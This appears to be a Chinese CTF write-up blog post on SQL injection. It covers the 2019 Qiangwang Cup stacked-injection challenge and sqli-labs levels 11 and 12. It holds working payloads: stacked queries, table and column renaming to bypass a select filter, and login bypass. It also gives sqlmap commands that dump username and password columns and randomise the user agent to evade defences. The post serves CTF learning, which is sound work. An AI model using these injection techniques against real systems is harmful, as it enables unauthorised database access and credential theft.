强网杯2019随便注!!sqllibs 第11和12关 post注入 sqlmap直接嗦??堆叠注入来看看!!!!

前面都是get型的注入,我们现在来看看post的sql注入

总结一些post请求的话,我在做buuctf的时候遇见的那个堆叠注入,我前面直接使用sqlamp直接梭哈,按照post请求来进行注入的,看爆出来了数据库,我还以为这题也可以嗦出来,但是在后面的爆的时候,只能够爆出数据库来,根本得不到表的数据,我们在来看看后面我下面的sqlmap嗦!!!

 因为当我是看见了登录框的操作我就以为是post请求,所以我去爆,但是在抓包的时候发现是get的请求,我然后都试试了的。

然后我在使用sqlmap来进行爆想要的内容,下面看看sqlmap爆的情况吧

sqlmap可以报出数据库来,但是让它来进行爆表的操作的话,将不能够进行了。

使用的参数-D supersqli --tables --batch --technique=B

还是手工进行操作,堆叠注入,直接开始!!!!直接看表

1';show tables;​​​​​​​

 下面我们要进行获取表里面的数据

如果表名是纯数字需要用反引号包裹,不然不会出现回显,这点要注意注意注意

然后我们在来获取列名里面的内容

发现把很多都给我过滤了,select等等函数都给我过滤了

select查询flag时发现了过滤,过滤掉了select、update、delete、drop、insert、where:

我用select编码应该是可以绕过被过滤的select这个函数的,得到想要的值的。

下面文章进了预编译绕过

还有一个就是修改表名列名的操作!!!下面来看实例:

修改表名(将表名user改为users) alter table user rename to users;

修改列名(将字段名username改为name) alter table users change uesrname name varchar(30);

由上面的探测我们可以猜测出这里会查询出words表的data列的结果。也就是类似于下面的sql语句:

select * from words where id = '';

我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。

修改表名的操作

1';
alter table words rename to words1;把words变成words1
alter table `1919810931114514` rename to words;然后把以前的表名变成words
alter table words change flag id varchar(50);#把表中的flag变成id来进行绕过,我们可以使用预编译的方式。

借鉴的下面的这个文章,可以看看。

2019强网杯"随便注"学习 - SAUCERMAN (saucer-man.com)上面改表名也是文章中的

下面是sqllibs的相关的post注入

post的sql注入的话,我们在看见了登录框的时候,使用万能密码来进行绕过,看是怎么来进行闭合的,看能不能来进行登录,这点就需要我们来进行手工注入了。我在经过简单的尝试过后,也成功的登录了,看看我下面的手工注入的操作。然后我们就在登录框着来进行跟以前的一样

然后我们在看看sqlmap直接嗦,看看直接爆出来想要的数据,看下面的sqlmao操作:

post的话我们要跟bp工具相结合来进行操作,然后把抓到的包放到一个记事本中,然后在sqlamp中加上参数-r “路径”来进行注入,这点跟get注入不一样。

看到了数据库我们在看表,还是一样的加参数    -tables

 

看列名

最后看结果:

下面在来看看12关:跟11关不一样,闭合的方式不一样,在进行闭合的时候要进行注意

输入“的时候 我们得到了回显,然后在进行闭合的操作。在做更改方式,如下图所示。

然后就可以进行操作了,我们下面用sqlamp来跑一下

后面的操作跟最上面的11关是一样的,也是加一些参数来进行得到我们想要的数据

今天也就写到这里,sqlmap直接嗦就行了。准备后面在看看文件上传,后面就写一下关于文件上传的内容吧!!!!!

### 使用 sqlmap 对 '随便1' 进行 SQL 注入检测 对于目标 URL `http://9c66401e-4dfb-405e-bb32-49026b925d8a.node4.buuoj.cn:81/?inject=1`,可以利用 sqlmap 工具来自动化检测验证是否存在 SQL 注入漏洞。以下是具体的操作方法: #### 基本命令结构 运行以下命令以检测注入点: ```bash sqlmap -u "http://9c66401e-4dfb-405e-bb32-49026b925d8a.node4.buuoj.cn:81/?inject=1" --batch --random-agent ``` 上述命令中的选项解释如下: - `-u`: 指定目标 URL。 - `--batch`: 自动选择默认选项,无需人工干预。 - `--random-agent`: 随机使用 User-Agent 来规避简单的防护机制。 此操作可以帮助确认参数 `inject` 是否可被用于 SQL 注入攻击[^1]。 #### 扩展功能 如果初步扫描结果显示存在注入点,则可以通过增加更多选项进一步挖掘数据库信息。例如: - **获取数据库管理系统类型** 添加 `--dbms=mariadb` 参数指定目标数据库为 MariaDB,因为题目环境已知使用的是 MariaDB 数据库[^2]。 - **枚举数据库名** 使用 `--dbs` 枚举当前数据库实例中存在的所有数据库名称。 - **枚举数据表** 如果已经知道具体的数据库名称(假设为 `test_db`),则可通过以下命令列举其中的数据表: ```bash sqlmap -u "http://9c66401e-4dfb-405e-bb32-49026b925d8a.node4.buuoj.cn:81/?inject=1" --batch --random-agent --dbms=mariadb -D test_db --tables ``` - **提取敏感数据** 若定位到存储 flag 的数据表(如 `users` 表),可以直接读取其内容: ```bash sqlmap -u "http://9c66401e-4dfb-405e-bb32-49026b925d8a.node4.buuoj.cn:81/?inject=1" --batch --random-agent --dbms=mariadb -D test_db -T users --columns ``` 上述命令将显示 `users` 表的所有列名。接着通过以下命令导出实际数据: ```bash sqlmap -u "http://9c66401e-4dfb-405e-bb32-49026b925d8a.node4.buuoj.cn:81/?inject=1" --batch --random-agent --dbms=mariadb -D test_db -T users -C username,password --dump ``` 这些扩展功能能够帮助深入分析目标系统的安全状况,并最终找到隐藏的 flag[^3]。 #### 意事项 在某些情况下,目标可能存在 WAF 或其他防御措施阻止常规注入尝试。此时需考虑绕过策略,比如调整请求头、修改 payload 编码方式等。例如,启用时间盲模式 (`--time-sec`) 可能有助于突破部分限制条件[^4]。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值